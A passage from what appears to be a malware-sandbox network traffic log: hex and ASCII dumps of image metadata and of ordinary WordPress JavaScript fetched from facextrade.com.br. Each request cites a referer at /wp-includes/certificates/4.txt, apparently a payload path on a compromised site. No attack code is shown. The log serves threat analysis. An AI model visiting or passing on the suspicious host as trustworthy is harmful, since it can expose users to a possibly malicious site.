w8v-cC@ua_0wOg1H$
Aug 16, 2022 11:45:08.009536028 CEST	3263	IN	Data Raw: 3e 83 6e 57 d5 be b5 53 68 bc 34 ef 90 d9 d1 cd 33 fe 0d ff 00 49 9f f5 0b 94 eb ff 00 55 32 3a 60 39 38 e4 e5 60 ce b6 01 ee 64 fe 6d d1 ff 00 56 b3 71 b2 cd 4f 6b e3 70 04 12 c3 20 18 fe af bb fc d5 da 74 5e bf d3 c1 8a ed b2 82 41 9a af db 6b Data Ascii: >nWSh43IU2:`98`dmVqOkp t^Ak\?)S,fPou]/8TzDd1&{k-PO3(X@N}RV0uR4GdiSmW=G*[T@Fs<P9<+KxKiFlRN44N
Aug 16, 2022 11:45:08.009560108 CEST	3265	IN	Data Raw: 89 73 58 d6 19 d0 b2 40 92 67 45 27 fa 5e 91 b1 b6 4b b4 68 0e 00 18 db 27 d8 dd ff 00 45 de c6 59 b9 09 95 ba c2 43 01 3b 41 73 88 13 0d 1f 49 ee 85 07 19 3f 0d 02 04 f6 4a a4 94 a5 34 a4 95 95 32 07 9f c5 22 64 cf 1a f6 51 52 de 36 86 c0 e6 77 Data Ascii: sX@gE'^Kh'EYC;AsI?J42"dQR6ww'L0u#nuD;i-nUNi`32\7vcavtl+K}i7PP}Qs7=%~eTfUt#cAok~df;3Y{kT
Aug 16, 2022 11:45:08.009582043 CEST	3266	IN	Data Raw: 54 00 00 00 01 00 00 00 38 42 49 4d 04 3b 00 00 00 00 01 b2 00 00 00 10 00 00 00 01 00 00 00 00 00 12 70 72 69 6e 74 4f 75 74 70 75 74 4f 70 74 69 6f 6e 73 00 00 00 12 00 00 00 00 43 70 74 6e 62 6f 6f 6c 00 00 00 00 00 43 6c 62 72 62 6f 6f 6c 00 Data Ascii: T8BIM;printOutputOptionsCptnboolClbrboolRgsMboolCrnCboolCntCboolLblsboolNgtvboolEmlDboolIntrboolBckgObjcRGBCRd doub@oGrn doub@o
Aug 16, 2022 11:45:08.009607077 CEST	3268	IN	Data Raw: 00 54 6f 70 20 6c 6f 6e 67 00 00 00 00 00 00 00 00 4c 65 66 74 6c 6f 6e 67 00 00 00 00 00 00 00 00 42 74 6f 6d 6c 6f 6e 67 00 00 04 7e 00 00 00 00 52 67 68 74 6c 6f 6e 67 00 00 08 a0 00 00 00 03 75 72 6c 54 45 58 54 00 00 00 01 00 00 00 00 00 00 Data Ascii: Top longLeftlongBtomlong~RghtlongurlTEXTnullTEXTMsgeTEXTaltTagTEXTcellTextIsHTMLboolcellTextTEXThorzAlignenumESliceHorzAligndefaultvertAlignenum
Aug 16, 2022 11:45:08.009629965 CEST	3269	IN	Data Raw: 16 d5 d8 53 6d 57 3d 12 04 47 2a 0e aa 12 a5 5b 54 b6 13 40 46 73 3c 94 0b 50 a4 82 ff 00 ff d0 f2 e4 a1 39 11 ce 89 08 3c 2b 4b 16 84 8a 78 4b 69 46 95 6c 52 82 9e 07 90 4e d6 92 0b 84 34 34 4e bd f5 ff 00 aa 42 93 6c 61 17 65 7e 98 2d 27 78 9d Data Ascii: SmW=G[T@Fs<P9<+KxKiFlRN44NBlae~-'x10[\nJv16,AkRaNAhZk{~{XH\|:6Ctnv=N/NE'tN`V^we.ug>
Aug 16, 2022 11:45:08.009651899 CEST	3270	IN	Data Raw: a7 73 1c 7f 37 de e7 db fa 3d ec ff 00 83 fd cb 25 d3 7e b4 65 54 f1 66 55 c2 d2 e0 09 74 82 e0 23 63 41 6f e6 ed 6b 7f 9b ff 00 06 b0 7e ad 64 16 66 9c 3b 33 ab c0 c3 be 59 7b ef 6b 9f 54 e8 fa f7 d5 35 b9 9f a4 63 3f 4b ea 57 e9 ae cb ad 59 d1 Data Ascii: s7=%~eTfUt#cAok~df;3Y{kT5c?KWYzuo7WN{\UXMVH;h}K_DH{v9ncGU/lp.pZ=\9tRj8kA--p~glbW-7v{Y_/VqcVw
Aug 16, 2022 11:45:08.009675026 CEST	3272	IN	Data Raw: 2d 6e 73 23 22 3e 20 3c 72 64 66 3a 44 65 73 63 72 69 70 74 69 6f 6e 20 72 64 66 3a 61 62 6f 75 74 3d 22 22 20 78 6d 6c 6e 73 3a 78 6d 70 3d 22 68 74 74 70 3a 2f 2f 6e 73 2e 61 64 6f 62 65 2e 63 6f 6d 2f 78 61 70 2f 31 2e 30 2f 22 20 78 6d 6c 6e Data Ascii: -ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#" xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/" xml
Aug 16, 2022 11:45:08.009697914 CEST	3273	IN	Data Raw: 44 46 3e 20 3c 2f 78 3a 78 6d 70 6d 65 74 61 3e 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: DF> </x:xmpmeta>
Aug 16, 2022 11:45:08.009720087 CEST	3274	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii:
Aug 16, 2022 11:45:08.238656044 CEST	3311	IN	Data Raw: 18 da 58 59 5a 20 00 00 00 00 00 00 24 a0 00 00 0f 84 00 00 b6 cf 64 65 73 63 00 00 00 00 00 00 00 16 49 45 43 20 68 74 74 70 3a 2f 2f 77 77 77 2e 69 65 63 2e 63 68 00 00 00 00 00 00 00 00 00 00 00 16 49 45 43 20 68 74 74 70 3a 2f 2f 77 77 77 2e Data Ascii: XYZ $descIEC http://www.iec.chIEC http://www.iec.chdesc.IEC 61966-2.1 Default RGB colour space - sRGB.IEC 61966-2.1 Default RGB colour space -
Aug 16, 2022 11:45:09.412571907 CEST	4348	OUT	GET /wp-content/plugins/contact-form-7/includes/js/scripts.js?ver=5.0.3 HTTP/1.1 Accept: / Referer: http://facextrade.com.br/wp-includes/certificates/4.txt Accept-Language: en-US Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: facextrade.com.br Connection: Keep-Alive
Aug 16, 2022 11:45:09.642225981 CEST	4374	IN	HTTP/1.1 200 OK Date: Tue, 16 Aug 2022 09:39:50 GMT Server: Apache ETag: "a4fbbc-38f9-58592ec603240" Last-Modified: Tue, 02 Apr 2019 21:36:01 GMT Content-Length: 14585 Content-Type: application/x-javascript X-Pad: avoid browser bug Cache-Control: No-Cache Pragma: no-cache X-Varnish: 21588067 21929798 Age: 319 Via: 1.1 varnish-v4 Accept-Ranges: bytes Connection: keep-alive Data Raw: 28 20 66 75 6e 63 74 69 6f 6e 28 20 24 20 29 20 7b 0a 0a 09 27 75 73 65 20 73 74 72 69 63 74 27 3b 0a 0a 09 69 66 20 28 20 74 79 70 65 6f 66 20 77 70 63 66 37 20 3d 3d 3d 20 27 75 6e 64 65 66 69 6e 65 64 27 20 7c 7c 20 77 70 63 66 37 20 3d 3d 3d 20 6e 75 6c 6c 20 29 20 7b 0a 09 09 72 65 74 75 72 6e 3b 0a 09 7d 0a 0a 09 77 70 63 66 37 20 3d 20 24 2e 65 78 74 65 6e 64 28 20 7b 0a 09 09 63 61 63 68 65 64 3a 20 30 2c 0a 09 09 69 6e 70 75 74 73 3a 20 5b 5d 0a 09 7d 2c 20 77 70 63 66 37 20 29 3b 0a 0a 09 24 28 20 66 75 6e 63 74 69 6f 6e 28 29 20 7b 0a 09 09 77 70 63 66 37 2e 73 75 70 70 6f 72 74 48 74 6d 6c 35 20 3d 20 28 20 66 75 6e 63 74 69 6f 6e 28 29 20 7b 0a 09 09 09 76 61 72 20 66 65 61 74 75 72 65 73 20 3d 20 7b 7d 3b 0a 09 09 09 76 61 72 20 69 6e 70 75 74 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 20 27 69 6e 70 75 74 27 20 29 3b 0a 0a 09 09 09 66 65 61 74 75 72 65 73 2e 70 6c 61 63 65 68 6f 6c 64 65 72 20 3d 20 27 70 6c 61 63 65 68 6f 6c 64 65 72 27 20 69 6e 20 69 6e 70 75 74 3b 0a 0a 09 09 09 76 61 72 20 69 6e 70 75 74 54 79 70 65 73 20 3d 20 5b 20 27 65 6d 61 69 6c 27 2c 20 27 75 72 6c 27 2c 20 27 74 65 6c 27 2c 20 27 6e 75 6d 62 65 72 27 2c 20 27 72 61 6e 67 65 27 2c 20 27 64 61 74 65 27 20 5d 3b 0a 0a 09 09 09 24 2e 65 61 63 68 28 20 69 6e 70 75 74 54 79 70 65 73 2c 20 66 75 6e 63 74 69 6f 6e 28 20 69 6e 64 65 78 2c 20 76 61 6c 75 65 20 29 20 7b 0a 09 09 09 09 69 6e 70 75 74 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 20 27 74 79 70 65 27 2c 20 76 61 6c 75 65 20 29 3b 0a 09 09 09 09 66 65 61 74 75 72 65 73 5b 20 76 61 6c 75 65 20 5d 20 3d 20 69 6e 70 75 74 2e 74 79 70 65 20 21 3d 3d 20 27 74 65 78 74 27 3b 0a 09 09 09 7d 20 29 3b 0a 0a 09 09 09 72 65 74 75 72 6e 20 66 65 61 74 75 72 65 73 3b 0a 09 09 7d 20 29 28 29 3b 0a 0a 09 09 24 28 20 27 64 69 76 2e 77 70 63 66 37 20 3e 20 66 6f 72 6d 27 20 29 2e 65 61 63 68 28 20 66 75 6e 63 74 69 6f 6e 28 29 20 7b 0a 09 09 09 76 61 72 20 24 66 6f 72 6d 20 3d 20 24 28 20 74 68 69 73 20 29 3b 0a 09 09 09 77 70 63 66 37 2e 69 6e 69 74 46 6f 72 6d 28 20 24 66 6f 72 6d 20 29 3b 0a 0a 09 09 09 69 66 20 28 20 77 70 63 66 37 2e 63 61 63 68 65 64 20 29 20 7b 0a 09 09 09 09 77 70 63 66 37 2e 72 65 66 69 6c 6c 28 20 24 66 6f 72 6d 20 29 3b 0a 09 09 09 7d 0a 09 09 7d 20 29 3b 0a 09 7d 20 29 3b 0a 0a 09 77 70 63 66 37 2e 67 65 74 49 64 20 3d 20 66 75 6e 63 74 69 6f 6e 28 20 66 6f 72 6d 20 29 20 7b 0a 09 09 72 65 74 75 72 6e 20 70 61 72 73 65 49 6e 74 28 20 24 28 20 27 69 6e 70 75 74 5b 6e 61 6d 65 3d 22 5f 77 70 63 66 37 22 5d 27 2c 20 66 6f 72 6d 20 29 2e 76 61 6c 28 29 2c 20 31 30 20 29 3b 0a 09 7d 3b 0a 0a 09 77 70 63 66 37 2e 69 6e 69 74 46 6f 72 6d 20 3d 20 66 75 6e 63 74 69 6f 6e 28 20 66 6f 72 6d 20 29 20 7b 0a 09 09 76 61 72 20 24 66 6f 72 6d 20 3d 20 24 28 20 66 6f 72 6d 20 29 3b 0a 0a 09 09 24 66 6f 72 6d 2e 73 Data Ascii: ( function( $ ) {'use strict';if ( typeof wpcf7 === 'undefined' \|\| wpcf7 === null ) {return;}wpcf7 = $.extend( {cached: 0,inputs: []}, wpcf7 );$( function() {wpcf7.supportHtml5 = ( function() {var features = {};var input = document.createElement( 'input' );features.placeholder = 'placeholder' in input;var inputTypes = [ 'email', 'url', 'tel', 'number', 'range', 'date' ];$.each( inputTypes, function( index, value ) {input.setAttribute( 'type', value );features[ value ] = input.type !== 'text';} );return features;} )();$( 'div.wpcf7 > form' ).each( function() {var $form = $( this );wpcf7.initForm( $form );if ( wpcf7.cached ) {wpcf7.refill( $form );}} );} );wpcf7.getId = function( form ) {return parseInt( $( 'input[name="_wpcf7"]', form ).val(), 10 );};wpcf7.initForm = function( form ) {var $form = $( form );$form.s
Aug 16, 2022 11:45:09.783114910 CEST	4406	OUT	GET /wp-content/plugins/cherry-plugin/includes/js/cherry-plugin.js?ver=1.2.8.1 HTTP/1.1 Accept: / Referer: http://facextrade.com.br/wp-includes/certificates/4.txt Accept-Language: en-US Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: facextrade.com.br Connection: Keep-Alive
Aug 16, 2022 11:45:10.013295889 CEST	4427	IN	HTTP/1.1 200 OK Date: Tue, 16 Aug 2022 09:45:03 GMT Server: Apache ETag: "a4f9ec-6fd-58592ebe62040" Last-Modified: Tue, 02 Apr 2019 21:35:53 GMT Content-Length: 1789 Content-Type: application/x-javascript Cache-Control: No-Cache Pragma: no-cache X-Varnish: 21588069 17003376 Age: 7 Via: 1.1 varnish-v4 Accept-Ranges: bytes Connection: keep-alive Data Raw: 6a 51 75 65 72 79 28 64 6f 63 75 6d 65 6e 74 29 2e 72 65 61 64 79 28 66 75 6e 63 74 69 6f 6e 28 29 7b 0a 09 2f 2f 20 4f 57 4c 20 43 61 72 6f 75 73 65 6c 20 69 6e 69 74 2e 0a 09 63 68 65 72 72 79 50 6c 75 67 69 6e 43 61 72 6f 75 73 65 6c 49 6e 69 74 28 29 3b 0a 0a 09 2f 2f 20 46 75 6c 6c 2d 77 69 64 74 68 20 62 6c 6f 63 6b 20 77 69 74 68 20 6c 65 66 74 2d 72 69 67 68 74 20 70 61 64 64 69 6e 67 73 2e 0a 09 6a 51 75 65 72 79 28 27 2e 63 6f 6e 74 65 6e 74 5f 62 6f 78 2e 66 75 6c 6c 2d 77 69 64 74 68 27 29 2e 77 72 61 70 49 6e 6e 65 72 28 27 3c 64 69 76 20 63 6c 61 73 73 3d 22 66 75 6c 6c 2d 62 6c 6f 63 6b 2d 77 72 61 70 22 3e 3c 2f 64 69 76 3e 27 29 3b 0a 09 6a 51 75 65 72 79 28 77 69 6e 64 6f 77 29 2e 72 65 73 69 7a 65 28 20 66 75 6e 63 74 69 6f 6e 28 29 7b 0a 09 09 63 6f 6e 74 65 6e 42 6f 78 52 65 73 69 7a 65 46 75 6e 63 74 69 6f 6e 28 29 3b 0a 09 7d 29 3b 0a 0a 09 63 6f 6e 74 65 6e 42 6f 78 52 65 73 69 7a 65 46 75 6e 63 74 69 6f 6e 28 29 3b 0a 09 66 75 6e 63 74 69 6f 6e 20 63 6f 6e 74 65 6e 42 6f 78 52 65 73 69 7a 65 46 75 6e 63 74 69 6f 6e 28 29 7b 0a 09 09 76 61 72 20 77 69 64 74 68 5f 6f 66 5f 76 69 65 77 70 6f 72 74 20 3d 20 6a 51 75 65 72 79 28 77 69 6e 64 6f 77 29 2e 77 69 64 74 68 28 29 2c 0a 09 09 09 68 61 6c 66 5f 77 69 64 74 68 5f 6f 66 5f 76 69 65 77 70 6f 72 74 20 3d 20 77 69 64 74 68 5f 6f 66 5f 76 69 65 77 70 6f 72 74 20 2f 20 32 2c 0a 09 09 09 77 69 64 74 68 5f 6f 66 5f 63 6f 6e 74 61 69 6e 65 72 20 3d 20 6a 51 75 65 72 79 28 27 2e 63 6f 6e 74 65 6e 74 2d 68 6f 6c 64 65 72 20 3e 20 2e 63 6f 6e 74 61 69 6e 65 72 27 29 2e 77 69 64 74 68 28 29 3b 0a 0a 09 09 6a 51 75 65 72 79 28 27 2e 63 6f 6e 74 65 6e 74 5f 62 6f 78 2e 66 75 6c 6c 2d 77 69 64 74 68 27 29 2e 77 69 64 74 68 28 77 69 64 74 68 5f 6f 66 5f 63 6f 6e 74 61 69 6e 65 72 29 3b 0a 09 09 6a 51 75 65 72 79 28 27 2e 63 6f 6e 74 65 6e 74 5f 62 6f 78 2e 66 75 6c 6c 2d 77 69 64 74 68 27 29 2e 63 73 73 28 7b 27 70 61 64 64 69 6e 67 2d 6c 65 66 74 27 3a 20 68 61 6c 66 5f 77 69 64 74 68 5f 6f 66 5f 76 69 65 77 70 6f 72 74 2b 27 70 78 27 2c 20 27 70 61 64 64 69 6e 67 2d 72 69 67 68 74 27 3a 20 68 61 6c 66 5f 77 69 64 74 68 5f 6f 66 5f 76 69 65 77 70 6f 72 74 2b 27 70 78 27 2c 20 27 6d 61 72 67 69 6e 2d 6c 65 66 74 27 3a 20 27 2d 27 2b 68 61 6c 66 5f 77 69 64 74 68 5f 6f 66 5f 76 69 65 77 70 6f 72 74 2b 27 70 78 27 7d 29 3b 0a 09 09 6a 51 75 65 72 79 28 27 2e 66 75 6c 6c 2d 62 6c 6f 63 6b 2d 77 72 61 70 27 29 2e 77 69 64 74 68 28 77 69 64 74 68 5f 6f 66 5f 63 6f 6e 74 61 69 6e 65 72 29 3b 0a 09 7d 0a 7d 29 3b 0a 0a 66 75 6e 63 74 69 6f 6e 20 63 68 65 72 72 79 50 6c 75 67 69 6e 43 61 72 6f 75 73 65 6c 49 6e 69 74 28 29 20 7b 0a 09 6a 51 75 65 72 79 28 27 64 69 76 5b 69 64 5e 3d 22 6f 77 6c 2d 63 61 72 6f 75 73 65 6c 2d 22 5d 27 29 2e 65 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 29 7b 0a 09 09 76 61 72 20 63 61 72 6f 75 73 65 6c 20 3d 20 6a 51 75 65 72 79 28 74 68 69 73 29 2c 0a 09 09 09 61 75 74 6f 5f 70 6c 61 79 20 3d 20 Data Ascii: jQuery(document).ready(function(){// OWL Carousel init.cherryPluginCarouselInit();// Full-width block with left-right paddings.jQuery('.content_box.full-width').wrapInner('<div class="full-block-wrap"></div>');jQuery(window).resize( function(){contenBoxResizeFunction();});contenBoxResizeFunction();function contenBoxResizeFunction(){var width_of_viewport = jQuery(window).width(),half_width_of_viewport = width_of_viewport / 2,width_of_container = jQuery('.content-holder > .container').width();jQuery('.content_box.full-width').width(width_of_container);jQuery('.content_box.full-width').css({'padding-left': half_width_of_viewport+'px', 'padding-right': half_width_of_viewport+'px', 'margin-left': '-'+half_width_of_viewport+'px'});jQuery('.full-block-wrap').width(width_of_container);}});function cherryPluginCarouselInit() {jQuery('div[id^="owl-carousel-"]').each(function(){var carousel = jQuery(this),auto_play =
Aug 16, 2022 11:45:10.015918970 CEST	4429	OUT	GET /wp-content/themes/theme51253/js/chart.min.js?ver=1.0 HTTP/1.1 Accept: / Referer: http://facextrade.com.br/wp-includes/certificates/4.txt Accept-Language: en-US Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: facextrade.com.br Connection: Keep-Alive
Aug 16, 2022 11:45:10.246228933 CEST	4451	IN	HTTP/1.1 200 OK Date: Tue, 16 Aug 2022 09:39:50 GMT Server: Apache ETag: "a53a4f-4d31-58592d7651a40" Last-Modified: Tue, 02 Apr 2019 21:30:09 GMT Content-Length: 19761 Content-Type: application/x-javascript X-Pad: avoid browser bug Cache-Control: No-Cache Pragma: no-cache X-Varnish: 21588070 21929800 Age: 320 Via: 1.1 varnish-v4 Accept-Ranges: bytes Connection: keep-alive Data Raw: 76 61 72 20 43 68 61 72 74 3d 66 75 6e 63 74 69 6f 6e 28 73 29 7b 66 75 6e 63 74 69 6f 6e 20 76 28 61 2c 63 2c 62 29 7b 61 3d 41 28 28 61 2d 63 2e 67 72 61 70 68 4d 69 6e 29 2f 28 63 2e 73 74 65 70 73 2a 63 2e 73 74 65 70 56 61 6c 75 65 29 2c 31 2c 30 29 3b 72 65 74 75 72 6e 20 62 2a 63 2e 73 74 65 70 73 2a 61 7d 66 75 6e 63 74 69 6f 6e 20 78 28 61 2c 63 2c 62 2c 65 29 7b 66 75 6e 63 74 69 6f 6e 20 68 28 29 7b 67 2b 3d 66 3b 76 61 72 20 6b 3d 61 2e 61 6e 69 6d 61 74 69 6f 6e 3f 41 28 64 28 67 29 2c 6e 75 6c 6c 2c 30 29 3a 31 3b 65 2e 63 6c 65 61 72 52 65 63 74 28 30 2c 30 2c 71 2c 75 29 3b 61 2e 73 63 61 6c 65 4f 76 65 72 6c 61 79 3f 28 62 28 6b 29 2c 63 28 29 29 3a 28 63 28 29 2c 62 28 6b 29 29 3b 69 66 28 31 3e 3d 67 29 44 28 68 29 3b 65 6c 73 65 20 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 61 2e 6f 6e 41 6e 69 6d 61 74 69 6f 6e 43 6f 6d 70 6c 65 74 65 29 61 2e 6f 6e 41 6e 69 6d 61 74 69 6f 6e 43 6f 6d 70 6c 65 74 65 28 29 7d 76 61 72 20 66 3d 61 2e 61 6e 69 6d 61 74 69 6f 6e 3f 31 2f 41 28 61 2e 61 6e 69 6d 61 74 69 6f 6e 53 74 65 70 73 2c 4e 75 6d 62 65 72 2e 4d 41 58 5f 56 41 4c 55 45 2c 31 29 3a 31 2c 64 3d 42 5b 61 2e 61 6e 69 6d 61 74 69 6f 6e 45 61 73 69 6e 67 5d 2c 67 3d 61 2e 61 6e 69 6d 61 74 69 6f 6e 3f 30 3a 31 3b 22 66 75 6e 63 74 69 6f 6e 22 21 3d 3d 74 79 70 65 6f 66 20 63 26 26 28 63 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 7d 29 3b 44 28 68 29 7d 66 75 6e 63 74 69 6f 6e 20 43 28 61 2c 63 2c 62 2c 65 2c 68 2c 66 29 7b 76 61 72 20 64 3b 61 3d 0a 4d 61 74 68 2e 66 6c 6f 6f 72 28 4d 61 74 68 2e 6c 6f 67 28 65 2d 68 29 2f 4d 61 74 68 2e 4c 4e 31 30 29 3b 68 3d 4d 61 74 68 2e 66 6c 6f 6f 72 28 68 2f 28 31 2a 4d 61 74 68 2e 70 6f 77 28 31 30 2c 61 29 29 29 2a 4d 61 74 68 2e 70 6f 77 28 31 30 2c 61 29 3b 65 3d 4d 61 74 68 2e 63 65 69 6c 28 65 2f 28 31 2a 4d 61 74 68 2e 70 6f 77 28 31 30 2c 61 29 29 29 2a 4d 61 74 68 2e 70 6f 77 28 31 30 2c 61 29 2d 68 3b 61 3d 4d 61 74 68 2e 70 6f 77 28 31 30 2c 61 29 3b 66 6f 72 28 64 3d 4d 61 74 68 2e 72 6f 75 6e 64 28 65 2f 61 29 3b 64 3c 62 7c 7c 64 3e 63 3b 29 61 3d 64 3c 62 3f 61 2f 32 3a 32 2a 61 2c 64 3d 4d 61 74 68 2e 72 6f 75 6e 64 28 65 2f 61 29 3b 63 3d 5b 5d 3b 7a 28 66 2c 63 2c 64 2c 68 2c 61 29 3b 72 65 74 75 72 6e 7b 73 74 65 70 73 3a 64 2c 73 74 65 70 56 61 6c 75 65 3a 61 2c 67 72 61 70 68 4d 69 6e 3a 68 2c 6c 61 62 65 6c 73 3a 63 7d 7d 66 75 6e 63 74 69 6f 6e 20 7a 28 61 2c 63 2c 62 2c 65 2c 68 29 7b 69 66 28 61 29 66 6f 72 28 76 61 72 20 66 3d 31 3b 66 3c 62 2b 31 3b 66 2b 2b 29 63 2e 70 75 73 68 28 45 28 61 2c 7b 76 61 6c 75 65 3a 28 65 2b 68 2a 66 29 2e 74 6f 46 69 78 65 64 28 30 21 3d 68 25 31 3f 68 2e 74 6f 53 74 72 69 6e 67 28 29 2e 73 70 6c 69 74 28 22 2e 22 29 5b 31 5d 2e 6c 65 6e 67 74 68 3a 30 29 7d 29 29 7d 66 75 6e 63 74 69 6f 6e 20 41 28 61 2c 63 2c 62 29 7b 72 65 74 75 72 6e 21 69 73 4e 61 4e Data Ascii: var Chart=function(s){function v(a,c,b){a=A((a-c.graphMin)/(c.stepsc.stepValue),1,0);return bc.stepsa}function x(a,c,b,e){function h(){g+=f;var k=a.animation?A(d(g),null,0):1;e.clearRect(0,0,q,u);a.scaleOverlay?(b(k),c()):(c(),b(k));if(1>=g)D(h);else if("function"==typeof a.onAnimationComplete)a.onAnimationComplete()}var f=a.animation?1/A(a.animationSteps,Number.MAX_VALUE,1):1,d=B[a.animationEasing],g=a.animation?0:1;"function"!==typeof c&&(c=function(){});D(h)}function C(a,c,b,e,h,f){var d;a=Math.floor(Math.log(e-h)/Math.LN10);h=Math.floor(h/(1Math.pow(10,a)))Math.pow(10,a);e=Math.ceil(e/(1Math.pow(10,a)))Math.pow(10,a)-h;a=Math.pow(10,a);for(d=Math.round(e/a);d<b\|\|d>c;)a=d<b?a/2:2a,d=Math.round(e/a);c=[];z(f,c,d,h,a);return{steps:d,stepValue:a,graphMin:h,labels:c}}function z(a,c,b,e,h){if(a)for(var f=1;f<b+1;f++)c.push(E(a,{value:(e+h*f).toFixed(0!=h%1?h.toString().split(".")[1].length:0)}))}function A(a,c,b){return!isNaN
Aug 16, 2022 11:45:10.263531923 CEST	4471	OUT	GET /wp-content/themes/CherryFramework/js/superfish.js?ver=1.5.3 HTTP/1.1 Accept: / Referer: http://facextrade.com.br/wp-includes/certificates/4.txt Accept-Language: en-US Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: facextrade.com.br Connection: Keep-Alive
Aug 16, 2022 11:45:10.493067980 CEST	4486	IN	HTTP/1.1 200 OK Date: Tue, 16 Aug 2022 09:39:50 GMT Server: Apache ETag: "a53568-b61-58592d4b67500" Last-Modified: Tue, 02 Apr 2019 21:29:24 GMT Content-Length: 2913 Content-Type: application/x-javascript Cache-Control: No-Cache Pragma: no-cache X-Varnish: 21588072 21929802 Age: 320 Via: 1.1 varnish-v4 Accept-Ranges: bytes Connection: keep-alive Data Raw: 28 66 75 6e 63 74 69 6f 6e 28 61 29 7b 61 2e 66 6e 2e 73 75 70 65 72 66 69 73 68 3d 66 75 6e 63 74 69 6f 6e 28 66 29 7b 76 61 72 20 64 3d 61 2e 66 6e 2e 73 75 70 65 72 66 69 73 68 2c 65 3d 64 2e 63 2c 67 3d 61 28 27 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 27 2b 65 2e 61 72 72 6f 77 43 6c 61 73 73 2b 27 22 3e 20 26 23 31 38 37 3b 3c 2f 73 70 61 6e 3e 27 29 2c 6b 3d 66 75 6e 63 74 69 6f 6e 28 63 29 7b 76 61 72 20 62 3d 61 28 74 68 69 73 29 2c 64 3d 6a 28 62 29 3b 28 22 6d 6f 75 73 65 65 6e 74 65 72 22 3d 3d 3d 63 2e 74 79 70 65 7c 7c 22 66 6f 63 75 73 69 6e 22 3d 3d 3d 63 2e 74 79 70 65 29 26 26 62 2e 63 68 69 6c 64 72 65 6e 28 22 61 22 29 2e 64 61 74 61 28 22 66 6f 6c 6c 6f 77 22 2c 21 30 29 3b 63 6c 65 61 72 54 69 6d 65 6f 75 74 28 64 2e 73 66 54 69 6d 65 72 29 3b 62 2e 73 68 6f 77 53 75 70 65 72 66 69 73 68 55 6c 28 29 2e 73 69 62 6c 69 6e 67 73 28 29 2e 68 69 64 65 53 75 70 65 72 66 69 73 68 55 6c 28 29 7d 2c 6c 3d 66 75 6e 63 74 69 6f 6e 28 63 29 7b 76 61 72 20 62 3d 61 28 74 68 69 73 29 2c 66 3d 6a 28 62 29 2c 65 3d 64 2e 6f 70 2c 67 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 65 2e 72 65 74 61 69 6e 50 61 74 68 3d 2d 31 3c 61 2e 69 6e 41 72 72 61 79 28 62 5b 30 5d 2c 65 2e 24 70 61 74 68 29 3b 62 2e 68 69 64 65 53 75 70 65 72 66 69 73 68 55 6c 28 29 3b 65 2e 24 70 61 74 68 2e 6c 65 6e 67 74 68 26 26 31 3e 62 2e 70 61 72 65 6e 74 73 28 22 6c 69 2e 22 2b 65 2e 68 6f 76 65 72 43 6c 61 73 73 29 2e 6c 65 6e 67 74 68 26 26 28 65 2e 6f 6e 49 64 6c 65 2e 63 61 6c 6c 28 29 2c 61 2e 70 72 6f 78 79 28 6b 2c 0a 65 2e 24 70 61 74 68 2c 63 29 28 29 29 7d 3b 22 6d 6f 75 73 65 6c 65 61 76 65 22 21 3d 3d 63 2e 74 79 70 65 26 26 22 66 6f 63 75 73 6f 75 74 22 21 3d 3d 63 2e 74 79 70 65 3f 67 28 29 3a 28 63 6c 65 61 72 54 69 6d 65 6f 75 74 28 66 2e 73 66 54 69 6d 65 72 29 2c 66 2e 73 66 54 69 6d 65 72 3d 73 65 74 54 69 6d 65 6f 75 74 28 67 2c 65 2e 64 65 6c 61 79 29 29 3b 28 22 6d 6f 75 73 65 6c 65 61 76 65 22 3d 3d 3d 63 2e 74 79 70 65 7c 7c 22 66 6f 63 75 73 6f 75 74 22 3d 3d 3d 63 2e 74 79 70 65 29 26 26 62 2e 63 68 69 6c 64 72 65 6e 28 22 61 22 29 2e 64 61 74 61 28 22 66 6f 6c 6c 6f 77 22 2c 21 31 29 7d 2c 6a 3d 66 75 6e 63 74 69 6f 6e 28 63 29 7b 63 2e 68 61 73 43 6c 61 73 73 28 65 2e 6d 65 6e 75 43 6c 61 73 73 29 26 26 61 2e 65 72 72 6f 72 28 22 53 75 70 65 72 66 69 73 68 20 72 65 71 75 69 72 65 73 20 79 6f 75 20 74 6f 20 75 70 64 61 74 65 20 74 6f 20 61 20 76 65 72 73 69 6f 6e 20 6f 66 20 68 6f 76 65 72 49 6e 74 65 